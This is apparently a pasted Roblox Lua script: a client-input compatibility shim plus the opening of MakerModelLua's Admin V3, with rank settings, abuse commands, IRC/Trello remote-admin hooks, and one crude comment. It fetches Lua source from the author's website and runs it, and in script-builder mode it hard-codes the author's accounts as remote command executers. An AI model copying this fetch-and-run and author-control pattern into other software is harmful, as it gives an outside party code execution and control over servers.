· 7 years ago · Dec 22, 2018, 08:20 PM
1--https://github.com/Mokiros/roblox-FE-compatibility
2if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
3local Player,game,owner = owner,game
4local RealPlayer = Player
5do
6 print("FE Compatibility code by Mokiros")
7 local rp = RealPlayer
8 script.Parent = rp.Character
9
10 --RemoteEvent for communicating
11 local Event = Instance.new("RemoteEvent")
12 Event.Name = "UserInput_Event"
13
14 --Fake event to make stuff like Mouse.KeyDown work
15 local function fakeEvent()
16 local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
17 t.connect = t.Connect
18 return t
19 end
20
21 --Creating fake input objects with fake variables
22 local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent(),Button2Up=fakeEvent(),Button2Down=fakeEvent()}
23 local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
24 local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
25 CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
26 end}
27 --Merged 2 functions into one by checking amount of arguments
28 CAS.UnbindAction = CAS.BindAction
29
30 --This function will trigger the events that have been :Connect()'ed
31 local function te(self,ev,...)
32 local t = m[ev]
33 if t and t._fakeEvent then
34 for _,f in pairs(t.Functions) do
35 f(...)
36 end
37 end
38 end
39 m.TrigEvent = te
40 UIS.TrigEvent = te
41
42 Event.OnServerEvent:Connect(function(plr,io)
43 if plr~=rp then return end
44 m.Target = io.Target
45 m.Hit = io.Hit
46 if not io.isMouse then
47 local b = io.UserInputState == Enum.UserInputState.Begin
48 if io.UserInputType == Enum.UserInputType.MouseButton1 then
49 return m:TrigEvent(b and "Button1Down" or "Button1Up")
50 end
51 if io.UserInputType == Enum.UserInputType.MouseButton2 then
52 return m:TrigEvent(b and "Button2Down" or "Button2Up")
53 end
54 for _,t in pairs(CAS.Actions) do
55 for _,k in pairs(t.Keys) do
56 if k==io.KeyCode then
57 t.Function(t.Name,io.UserInputState,io)
58 end
59 end
60 end
61 m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
62 UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
63 end
64 end)
65 Event.Parent = NLS([==[
66 local Player = game:GetService("Players").LocalPlayer
67 local Event = script:WaitForChild("UserInput_Event")
68
69 local Mouse = Player:GetMouse()
70 local UIS = game:GetService("UserInputService")
71 local input = function(io,a)
72 if a then return end
73 --Since InputObject is a client-side instance, we create and pass table instead
74 Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
75 end
76 UIS.InputBegan:Connect(input)
77 UIS.InputEnded:Connect(input)
78
79 local h,t
80 --Give the server mouse data 30 times every second, but only if the values changed
81 --If player is not moving their mouse, client won't fire events
82 while wait(1/30) do
83 if h~=Mouse.Hit or t~=Mouse.Target then
84 h,t=Mouse.Hit,Mouse.Target
85 Event:FireServer({isMouse=true,Target=t,Hit=h})
86 end
87 end]==],Player.Character)
88
89 ----Sandboxed game object that allows the usage of client-side methods and services
90 --Real game object
91 local _rg = game
92
93 --Metatable for fake service
94 local fsmt = {
95 __index = function(self,k)
96 local s = rawget(self,"_RealService")
97 if s then
98 return typeof(s[k])=="function"
99 and function(_,...)return s[k](s,...)end or s[k]
100 end
101 end,
102 __newindex = function(self,k,v)
103 local s = rawget(self,"_RealService")
104 if s then s[k]=v end
105 end
106 }
107 local function FakeService(t,RealService)
108 t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
109 return setmetatable(t,fsmt)
110 end
111
112 --Fake game object
113 local g = {
114 GetService = function(self,s)
115 return rawget(self,s) or _rg:GetService(s)
116 end,
117 Players = FakeService({
118 LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
119 },"Players"),
120 UserInputService = FakeService(UIS,"UserInputService"),
121 ContextActionService = FakeService(CAS,"ContextActionService"),
122 RunService = FakeService({
123 _btrs = {},
124 RenderStepped = _rg:GetService("RunService").Heartbeat,
125 BindToRenderStep = function(self,name,_,fun)
126 self._btrs[name] = self.Heartbeat:Connect(fun)
127 end,
128 UnbindFromRenderStep = function(self,name)
129 self._btrs[name]:Disconnect()
130 end,
131 },"RunService")
132 }
133 rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
134 g.service = g.GetService
135 FakeService(g,game)
136 --Changing owner to fake player object to support owner:GetMouse()
137 game,owner = g,g.Players.LocalPlayer
138end
139
140--[[
141Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
142If you want to know what commands do just go into your game and say ;cmds for a list of
143commands, what they do, examples, rank needed, and more!
144Or, go to http://www.classy-studios.com/V3/Commands.php
145If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
146
147
148TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
149
150--->> DO NOT EDIT THESE SETTINGS <<---
151Well you can but it's a waste of your time. The settings are located in workspace
152in a folder called "MakerModelLua's Settings". You can also use this plugin:
153
154http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
155
156USE REMOTE ADMIN:
157http://www.classy-studios.com/Login/
158Mobile: http://appsto.re/us/hEn7fb.i
159
160
161
162...also... this is open source! No stupid shady module scripts, which means it works in studio!
163
164]]
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
189
190
191local Settings = {
192 Ranks = {
193 ["Owner"] = {};
194 ["Admin"] = {};
195 ["Member"] = {};
196 ["Banned"] = {};
197 ["Crashed"] = {};
198 ["Muted"] = {};
199 };
200
201 Prefix = ";";
202 Bet = " ";
203 MinimumAge = 0;
204 ServerLocked = false;
205 ColorScheme = "White";
206 TransparencyScheme = 50;
207 Fun = true;
208 EnableAdminMenu = true;
209 EnableTaskBar = true;
210 FreeAdmin = false;
211 Font = "Arial";
212
213 DisableAbuse = false;
214 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
215 AbusableGear = {};
216
217 LinkedAccount = "";
218 DataKey = "";
219
220 ExecuteNotificationSound = 0; --177578949
221 EnableSounds = true;
222
223 VIPMemberID = 0;
224 VIPAdminID = 0;
225
226 GroupID = 0;
227 GroupBanRank = 0;
228 GroupMemberRank = 0;
229 GroupAdminRank = 0;
230 GroupOwnerRank = 0;
231 GroupRankBan = 0;
232 BannedGroupIDs = {};
233
234 IRCServer = "";
235 IRCChannel = "";
236 IRCCommandExecuters = {};
237
238 TrelloToken = ""
239}
240
241local Colors = {
242 ["WHITE"] = Color3.new(1,1,1);
243 ["BLACK"] = Color3.new(0,0,0);
244 ["GRAY"] = Color3.new(0.5,0.5,0.5);
245 ["RED"] = Color3.new(1,0,0);
246 ["GREEN"] = Color3.new(0,1,0);
247 ["BLUE"] = Color3.new(0,0,1);
248 ["YELLOW"] = Color3.new(1,1,0);
249 ["PINK"] = Color3.new(1,0,1);
250 ["MAGENTA"] = Color3.new(1,0,1);
251 ["CYAN"] = BrickColor.new("Cyan").Color;
252 ["TEAL"] = BrickColor.new("Teal").Color;
253 ["BROWN"] = Color3.new(0.55,0.25,0.075);
254 ["PURPLE"] = Color3.new(0.5,0,0.5);
255 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
256}
257
258local Server = {
259 Workspace = game:GetService("Workspace");
260 Players = game:GetService("Players");
261 Lighting = game:GetService("Lighting");
262 MPS = game:GetService("MarketplaceService");
263 TS = game:GetService("TeleportService");
264 HS = game:GetService("HttpService");
265 RS = game:GetService("RunService");
266 PS = game:GetService("PointsService");
267 TestS = game:GetService("TestService");
268 IS = game:GetService("InsertService");
269 Teams = game:GetService("Teams");
270 Data = game:GetService("DataStoreService");
271 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
272 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
273 Storage = game:GetService("ServerStorage");
274 RS = game:GetService("ReplicatedStorage");
275 AS = game:GetService("AssetService");
276}
277
278local Icons = {
279 ["Message"] = 7724351;
280 ["Error"] = 94011556;
281 ["Information"] = 144175130;
282 ["Check"] = 132769976;
283 ["Search"] = 61994930;
284 ["Time"] = 136391033;
285 ["Notice"] = 156507320;
286 ["Sound"] = 164682936;
287 ["Log"] = 70650545;
288 ["Question"] = 41363872;
289 ["Output"] = 11481605;
290 ["Admin"] = 302470270;
291 ["Lock"] = 11341626;
292 ["Settings"] = 131064748;
293 ["Map"] = 257119661;
294 ["Plugin"] = 257097414;
295}
296
297local IRC = {
298 Codes = {
299 ["001"] = "RPL_WELCOME",
300 ["002"] = "RPL_YOURHOST",
301 ["003"] = "RPL_CREATED",
302 ["004"] = "RPL_MYINFO",
303 ["005"] = "RPL_ISUPPORT",
304 ["250"] = "RPL_STATSCONN",
305 ["251"] = "RPL_LUSERCLIENT",
306 ["252"] = "RPL_LUSEROP",
307 ["254"] = "RPL_LUSERCHANNELS",
308 ["255"] = "RPL_LUSERME",
309 ["265"] = "RPL_LOCALUSERS",
310 ["266"] = "RPL_GLOBALUSERS",
311 ["352"] = "RPL_WHOREPLY",
312 ["371"] = "RPL_INFO",
313 ["372"] = "RPL_MOTD",
314 ["374"] = "RPL_ENDINFO",
315 ["375"] = "RPL_MOTDSTART",
316 ["376"] = "RPL_ENDOFMOTD",
317 ["422"] = "ERR_NOMOTD",
318 },
319 Ignore = {
320 ["004"] = true,
321 ["005"] = true,
322 };
323 Users = {};
324 Logs = {};
325 Chats = {};
326 Forms = {};
327 MessageAdded = Instance.new("BindableEvent");
328
329 Servers = {
330 ["esper.net"] = {
331 BaseUrl = "http://webchat.esper.net/";
332 DynamicUrl = "";
333 };
334 ["quakenet.org"] = {
335 BaseUrl = "http://webchat.quakenet.org/";
336 DynamicUrl = "dynamic/leibniz",
337 };
338 ["swiftirc.net"] = {
339 BaseUrl = "http://qwebirc.swiftirc.net/";
340 DynamicUrl = "",
341 };
342 };
343 NickName = "rbxMMLV3_"..math.random(1,100000);
344
345 SessionCounter = 0;
346 Connected = false;
347 Stop = false;
348 SessionID = "";
349}
350
351local RankHUD = {
352 ["Muted"] = 202180094;
353 ["Non-Admin"] = 202180121;
354 ["Member"] = 202180052;
355 ["Admin"] = 202180015;
356 ["Owner"] = 202179988;
357}
358
359local TextConverter = {
360 LetterSounds = {
361 ["a"] = {223757826, nil}; -- 203343899
362 ["b"] = {223533700, 0.2}; -- 203344029
363 ["c"] = {223533711, nil}; -- 203343994
364 ["d"] = {223757910, nil}; -- 203398237
365 ["e"] = {223758026, nil}; -- 203398295
366 ["f"] = {223777655, nil}; -- 203398347
367 ["g"] = {223777738, nil}; -- 203398372
368 ["h"] = {223777757, nil}; -- 203398397
369 ["i"] = {223777807, nil}; -- 203398422
370 ["j"] = {223782888, nil}; -- 203398450
371 ["k"] = {223533711, nil}; -- 203343994
372 ["l"] = {223782961, 0.4}; -- 203398541
373 ["m"] = {223782992, nil}; -- 203398578
374 ["n"] = {223783063, nil}; -- 203398599
375 ["o"] = {223783184, nil}; -- 203398611
376 ["p"] = {223783235, nil}; -- 203398727
377 ["q"] = {223783260, nil}; -- 203398755
378 ["r"] = {223783305, 0.2}; -- 203398792
379 ["s"] = {223783377, nil}; -- 203398806
380 ["t"] = {223783446, nil}; -- 203398850
381 ["u"] = {223783512, nil}; -- 203398872
382 ["v"] = {223783654, nil}; -- 203398965
383 ["w"] = {223783697, nil}; -- 203398984
384 ["x"] = {223783796, nil}; -- 203399008
385 ["y"] = {223783853, nil}; -- 203399043
386 ["z"] = {223783893, nil}; -- 203399096
387
388 ["ch"] = {223784367, 0.3}; -- 203592149
389 ["th"] = {223788235, 0.3}; -- 203399215
390 ["sh"] = {223784505, 0.2}; -- 203399566
391 ["wh"] = {223784555, 0.3}; -- 203622828
392 ["oo"] = {223784456, 0.3}; -- 203399743
393 ["ing"] = {223784393, 0.3}; -- 203402836
394 };
395
396 LongVowels = {
397 ["a"] = {223533687, nil}; -- 203343932
398 ["e"] = {223777620, nil}; -- 203398314
399 ["i"] = {223777855, nil}; -- 203398440
400 ["o"] = {223783212, nil}; -- 203398619
401 ["u"] = {223783572, nil}; -- 203398897
402 };
403
404 Pronounce = {
405 ["0"] = "zero";
406 ["1"] = "wun";
407 ["2"] = "too";
408 ["3"] = "three";
409 ["4"] = "four";
410 ["5"] = "five";
411 ["6"] = "six";
412 ["7"] = "seven";
413 ["8"] = "eyt";
414 ["9"] = "nine";
415 ["one"] = "wun";
416 ["two"] = "too";
417 ["eight"] = "eyt";
418 ["eigh"] = "ey";
419 ["gh"] = "h";
420 ["kn"] = "n";
421 ["come"] = "cu".."m";
422 ["bye"] = "bi";
423 ["#"] = "hashtag";
424 ["@"] = "at";
425 ["&"] = "and";
426 ["*"] = "astrict";
427 ["mn"] = "m";
428 ["kn"] = "n";
429 ["ies"] = "ees";
430 };
431
432 NonEnglishRules = {
433 ["to"] = "too";
434 ["you"] = "yoo";
435 ["we"] = "wee";
436 ["are"] = "erh";
437 ["your"] = "yoor";
438 ["you're"] = "yoor";
439 ["youre"] = "yoor";
440 ["pizza"] = "peetzoh";
441 ["ok"] = "okay";
442 ["have"] = "hav";
443 ["my"] = "mi";
444 ["me"] = "mee";
445 ["u"] = "yoo";
446 ["r"] = "erh";
447 ["move"] = "moov";
448 ["dove"] = "duv";
449 ["debris"] = "debree";
450 ["do"] = "doo";
451 }
452}
453
454local HTMLDecode = {
455 ["35"] = "#";
456 ["36"] = "$";
457 ["37"] = "%%";
458 ["38"] = "*";
459 ["39"] = "'";
460 ["58"] = ":";
461 ["59"] = ";";
462 ["60"] = "<";
463 ["62"] = ">";
464}
465
466
467local Assets = {
468 Packages = {
469 [27112438] = {27112025,27112039,27112052,27112056,27112068};
470 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
471 [77518833] = {77518564,77518616,77518654,77518696,77518737};
472 [32336368] = {32336059,32336117,32336182,32336243,32336306};
473 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
474 [54116460] = {54116290,54116338,54116373,54116394,54116432};
475 [39977366] = {39976703,39976829,39976927,39977192,39977295};
476 [32357766] = {32357663,32357631,32357619,32357584,32357558};
477 [27123973] = {27121265,27121306,27121353,27121393,27121432};
478 [55717536] = {55717271,55717330,55717388,55717434,55717491};
479 [28279963] = {28279160,28279217,28279859,28279894,28279938};
480 [27403592] = {27402580,27402546,27402641,27402714,27402742};
481 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
482 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
483 [48474394] = {48474356,48474294};
484 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
485 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
486 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
487 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
488 [33378577] = {33378366,33378438,33378484,33378522,33378540};
489 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
490 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
491 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
492 [41851073] = {41850825,41850868,41850915,41851009,41850959}
493 };
494 AssetTypes = {
495 [0] = "Product";
496 [1] = "Image";
497 [2] = "T-Shirt";
498 [3] = "Audio";
499 [4] = "Mesh";
500 [5] = "Lua";
501 [6] = "HTML";
502 [7] = "Text";
503 [8] = "Hat";
504 [9] = "Place";
505 [10] = "Model";
506 [11] = "Shirt";
507 [12] = "Pants";
508 [13] = "Decal";
509 [16] = "Avatar";
510 [17] = "Head";
511 [18] = "Face";
512 [19] = "Gear";
513 [21] = "Badge";
514 [22] = "Group Emblem";
515 [24] = "Animation";
516 [25] = "Arms";
517 [26] = "Legs";
518 [27] = "Torso";
519 [28] = "Right Arm";
520 [29] = "Left Arm";
521 [30] = "Left Leg";
522 [31] = "Right Leg";
523 [32] = "Package";
524 [33] = "YouTube Video";
525 [34] = "Game Pass";
526 [38] = "Plugin";
527 [39] = "SolidModel";
528 [40] = "MeshPart";
529 [41] = "Hair Accessory";
530 [42] = "Face Accessory";
531 [43] = "Neck Accessory";
532 [44] = "Shoulder Accessory";
533 [45] = "Front Accessory";
534 [46] = "Back Accessory";
535 };
536 AccessoryTypes = {
537 ["all"] = 19;
538 ["hats"] = 9;
539 ["hair"] = 20;
540 ["face"] = 21;
541 ["neck"] = 22;
542 ["shoulder"] = 23;
543 ["front"] = 24;
544 ["back"] = 25;
545 ["waist"] = 26;
546 };
547}
548
549local CharacterCache = {
550 {"MakerModelLua", 38837082};
551 {"LuaModelMaker", 20920633};
552 {"builderman", 156};
553 {"Shedletsky", 261};
554 {"Telamon", 13645};
555 {"ROBLOX", 1};
556}
557
558local FaceCovert = {
559 Left = "xpos";
560 Right = "xneg";
561 Front = "zpos";
562 Back = "zneg";
563 Top = "ypos";
564 Bottom = "yneg";
565}
566
567local Meshes = {
568 ["crown"] = {1, 1078075};
569 ["king"] = {1, 11419761};
570 ["teapot"] = {0.03, 1029523};
571 ["apple"] = {2.5, 16190555};
572 ["potato"] = {1, 25268275};
573 ["panda"] = {0.5, 20709221};
574 ["dominus"] = {0.5, 21057410};
575 ["fedora"] = {0.75, 13640868};
576 ["noob"] = {1, 20929341};
577 ["knife"] = {0.3, 121944778};
578 ["book"] = {0.3, 1136139};
579}
580
581local NotifySounds = {
582 ["Hover"] = 223134269;
583 ["Select"] = 292141227;
584}
585
586local Trello = {
587 TrelloInfoCard = "x1rUtwEj";
588 MainBoard = {};
589 RequiredLists = {};
590 RankChecklistCache = {};
591 ToggleChecklist = nil;
592 CommandID = nil;
593 LastCommandDT = 0;
594 AdminBoardID = "577ea1b21cb7975666524f26";
595 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
596 RemoteDataCard = "dLtMo1en"
597}
598
599local ScriptBuilders = {
600 [260897989] = "MML's";
601 [21053279] = "Anti's pub";
602 [21053219] = "Anti's pri";
603 [20279777] = "Void's 1";
604 [437965235] = "Void's 2";
605 [227015991] = "Vox's";
606 [210101277] = "Master's";
607 [531937877] = "Bleu pigs";
608 [519251450] = "Game's";
609}
610
611-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
612-- Why else would I NOT have put it in a module?!?!?
613
614local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
615
616local SoundList,GlobalSoundList = {},{}
617local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
618local TempChatLogs = {}
619local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
620local NoSpeak = false
621
622local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
623local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
624
625local ChatLogs,CommandLogs = {},{}
626local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
627local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
628local Dispose,Jails,PermCommandBars = {},{},{}
629local Waypoints = {["Center"] = Vector3.new(0,0,0)}
630local Objects = {}
631local Sound = nil
632local ModLighting = false
633local DataReady = true
634local RemoteAbuseGear = {}
635
636local GameOwner = "[ Client ]"
637local PlaceName = "Unknown"
638local PlaceInfo = {}
639local IsStudio = false
640local IsSB = false
641local Date = nil
642local Fonts = {}
643local PendingRequests = {}
644local F3X = script:FindFirstChild("F3X Tools")
645local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
646local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
647local KeyBinds = {}
648local Crowns = {}
649local LastKeys = {}
650local Cars = {}
651local StringReplacements = {}
652local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
653local NoBet = {"/", "-", "(", ")", ""}
654local ShouldFilter = true
655
656local CrownStorage = script:FindFirstChild("CrownStorage")
657if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
658
659-- import old settings just in case --
660local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
661if OldSettings then
662 OldSettings = require(OldSettings)
663
664 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
665 Settings[ValName] = OldSettings[ValName]
666 end
667 Settings.GroupBanRank = OldSettings.RankBan
668 Settings.Fun = OldSettings.FUN
669end
670
671if F3X then
672 F3X = F3X:Clone()
673 F3X.Handle.Anchored = false
674 script:FindFirstChild("F3X Tools"):Destroy()
675end
676
677wait(0.1)
678
679local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
680-- tries to defualt to server storage, just in case an exploiter makes their own settings.
681
682if SettingsValues then
683 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
684 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
685 for _,Value in pairs(SettingsValues:GetChildren()) do
686 if Settings[Value.Name] ~= nil then
687 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
688 for _,NewValue in pairs(Value:GetChildren()) do
689 if ypcall(function() return NewValue.Value end) then
690 if Settings[Value.Name][NewValue.Name] then
691 local Val = NewValue.Value
692 if type(Settings[Value.Name][NewValue.Name]) == "table" then
693 Val = {}
694 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
695 table.insert(Val, Word)
696 end
697 end
698 Settings[Value.Name][NewValue.Name] = Val
699 end
700 end
701 end
702 else
703 if Settings[Value.Name] ~= nil then
704 local Val = Value.Value
705 if type(Settings[Value.Name]) == "table" then
706 Val = {}
707 for Word in string.gmatch(Value.Value, "%w+") do
708 table.insert(Val, Word)
709 end
710 end
711 Settings[Value.Name] = Val
712 end
713 end
714 end
715 end
716 end
717end
718
719if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
720 Settings.LinkedAccount = ""
721elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
722 Settings.LinkedAccount = "Admin"
723end
724
725local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
726local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
727
728wait(1)
729
730local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
731
732if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
733
734if not IsStudio then
735 Server.NS = game:GetService("NetworkServer")
736 script.Name = "Maker".."Mo".."delLua's Admin"
737end
738
739if game.PlaceId > 0 then
740 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
741 PlaceName = PlaceInfo.Name
742end
743
744local function GetGameOwner()
745 if PlaceInfo.Creator.CreatorType == "Group" then
746 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
747 print("MML's Admin: Found group owner for game: "..GameOwner)
748 elseif PlaceInfo.Creator.CreatorType == "User" then
749 GameOwner = PlaceInfo.Creator.Name
750 print("MML's Admin: Found game owner: "..GameOwner)
751 else
752 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
753 end
754end
755
756if string.byte(string.sub(PlaceName,1,1)) == 226 then
757 PlaceName = string.sub(PlaceName,4,#PlaceName)
758end
759for i = 1,5 do
760 if GameOwner == "[ Client ]" then
761 print("MML's Admin: Attempting to establish owner's name #"..i)
762 GetGameOwner()
763 wait(1)
764 end
765end
766
767if ScriptBuilders[PlaceID] or NLS then
768 IsSB = true
769end
770
771if IsSB then
772 ShouldFilter = false
773 Settings.IRCServer = "swiftirc.net";
774 Settings.IRCChannel = "#PkamaraSB";
775 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
776 if Settings.TrelloToken == "" then
777 Settings.LinkedAccount = "ScriptBuilder"
778 end
779 if Settings.DataKey == "" then coroutine.wrap(function()
780 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
781 local Key = Server.Storage:FindFirstChild("MML DataKey")
782 print("Found key: "..Key.Value)
783 Settings.DataKey = Key.Value
784 Key:Destroy()
785 end)() end
786end
787local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
788table.insert(Settings.Ranks["Owner"], GameOwner)
789
790for _,Font in pairs(Enum.Font:GetEnumItems()) do
791 Fonts[Font.Name] = Font
792end
793
794local LogClient = script:FindFirstChild("AddClientInfo")
795if LogClient then LogClient:Destroy() end
796LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
797LogClient.OnServerInvoke = function(Player, Info)
798 if Info then
799 for Key,Data in pairs(Info) do
800 ClientInfo[Player.Name][Key] = Data
801 end
802 end
803end
804
805local function MakeFunction(Type, Name)
806 local Func = script:FindFirstChild(Name)
807 if Func then Func:Destroy() end
808 Func = Instance.new(Type, script) Func.Name = Name
809
810 getfenv()[Name] = Func
811 return Func
812end
813
814MakeFunction("BindableFunction", "ExecuteCommand")
815MakeFunction("RemoteFunction", "ExecuteCommandClient")
816MakeFunction("BindableFunction", "ExecuteCode")
817
818MakeFunction("RemoteFunction", "IsAdmin")
819MakeFunction("RemoteFunction", "AddExploit")
820MakeFunction("BindableFunction", "AddExploitServer")
821MakeFunction("RemoteFunction", "KickClient")
822MakeFunction("RemoteFunction", "ConvertTextToSound")
823
824MakeFunction("RemoteFunction", "KeyPressed")
825MakeFunction("RemoteFunction", "InputKey")
826
827MakeFunction("RemoteFunction", "RankPlayerLocal")
828MakeFunction("BindableFunction", "RankPlayerServer")
829
830--[[
831if NLS then
832 local Value = script:FindFirstChild("Override")
833 LogClient.Parent = game
834 if not Value then
835 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
836 local CloneScript = script:Clone()
837 CloneScript.Disabled = true
838 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
839 CloneScript.Disabled = false
840 CloneScript.Parent = nil
841
842 script:Destroy() script.Disabled = true
843 end
844end
845]]
846
847if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
848
849IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
850
851-- Core functions --
852
853function CORE:FixSettings()
854 for _,Bet in pairs(NoBet) do
855 if Settings.Bet == Bet then
856 Settings.Bet = " "
857 break
858 end
859 end
860 CORE:ChangeBet(Settings.Bet)
861
862 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
863 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
864
865 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
866 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
867 Settings.TransparencyScheme = Settings.TransparencyScheme/100
868
869 if not Fonts[Settings.Font] then
870 Settings.Font = "Arial"
871 end
872end
873
874function CORE:NilPlayer(Player)
875 if Player == nil or type(Player) == "table" then return true else return false end
876end
877
878function CORE:ExecuteResource(ResourceName, Parent, Data)
879 local ReturnScript = nil
880 local Executed = true
881 if script:FindFirstChild("Resources") then
882 local RawResource = script.Resources:FindFirstChild(ResourceName)
883 if RawResource then
884 local Resource = RawResource:Clone()
885 Resource.Disabled = true
886 Resource.Parent = Parent
887 if Data then
888 for Key,Value in pairs(Data) do
889 if Resource[Key] then
890 Resource[Key].Value = Value
891 end
892 end
893 end
894 wait()
895 Resource.Disabled = false
896 ReturnScript = Resource
897 else
898 Executed = false
899 end
900 else
901 Executed = false
902 end
903 if Executed == false then
904 if not Data then Data = {} end
905 local Source = ScriptCache[ResourceName]
906
907 if not Source then
908 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
909 if Source then
910 ScriptCache[ResourceName] = Source
911 end
912 end
913
914 if Data and Source then
915 for Key,Value in pairs(Data) do
916 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
917 end
918 end
919
920 if Source then
921 if NLS then
922 ReturnScript = NLS(Source, Parent)
923 elseif createLocalScriptWithSource then
924 ReturnScript = createLocalScriptWithSource(Source)
925 ReturnScript.Parent = Parent
926 end
927 end
928 end
929 return ReturnScript
930end
931
932function CORE:CreateRemotePropertyReader(Obj, Override)
933 if Server.Workspace.FilteringEnabled == true or Override then
934 local Reader = Instance.new("RemoteFunction", Obj)
935 Reader.Name = "RemotePropertyReader"
936 CORE:ExecuteResource("RemotePropertyReader", Reader)
937 return Reader
938 else
939 return Obj
940 end
941end
942
943function CORE:ReadProperty(Reader, Player, Property)
944 if Reader:IsA("RemoteFunction") then
945 return Reader:InvokeClient(Player, Property)
946 else
947 return Reader[Property]
948 end
949end
950
951function CORE:WriteProperty(Reader, Player, Property, Value)
